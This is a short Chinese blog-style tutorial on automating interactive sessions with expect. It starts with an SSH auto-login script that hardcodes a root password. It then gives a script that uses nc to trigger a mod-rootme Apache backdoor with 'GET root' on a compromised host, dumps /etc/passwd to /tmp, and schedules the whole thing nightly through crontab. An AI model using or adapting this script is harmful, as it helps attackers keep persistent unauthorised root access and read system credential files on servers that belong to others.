先来看一个自动登陆ssh的例子:
#!/usr/bin/expect spawn ssh root@192.168.10.110 expect "password:" send "root\n" expect eof send "ls\n" expect eof send "exit\n" expect eof exit
比如在一台机器上装了mod-rootme,想定时登陆目标执行一些命令,照葫芦画瓢,可以写一个自动交互的脚本,借用crontab定时执行:
先安装expect
//centOS yum -y install expect //Debian apt-get install expect
具体的expect路径用whereis expect查看,然后修改脚本。
下面的nc是debian下的netcat。
centOS上的nc连接目标端口成功后返回的是“succeeded”这些标识,自行修改。
脚本:
#!/usr/bin/expect set timeout 100 spawn nc -vv 127.0.0.1 80 expect "*http] succeeded*" #这是debian下的netcat连接成功返回的信息 send "GET root\r\n" expect "*welcome info*" #成功获取权限的提示信息 send "cat /etc/passwd > /tmp/ssss ; ls -l /etc/passwd\r" expect "*passwd*" send "exit\r" expect eof #interact exit
保存为xxxx.sh
创建crontab任务:
crontab -e
每天夜里2点自动执行
0 2 * * * /path/xxxx.sh &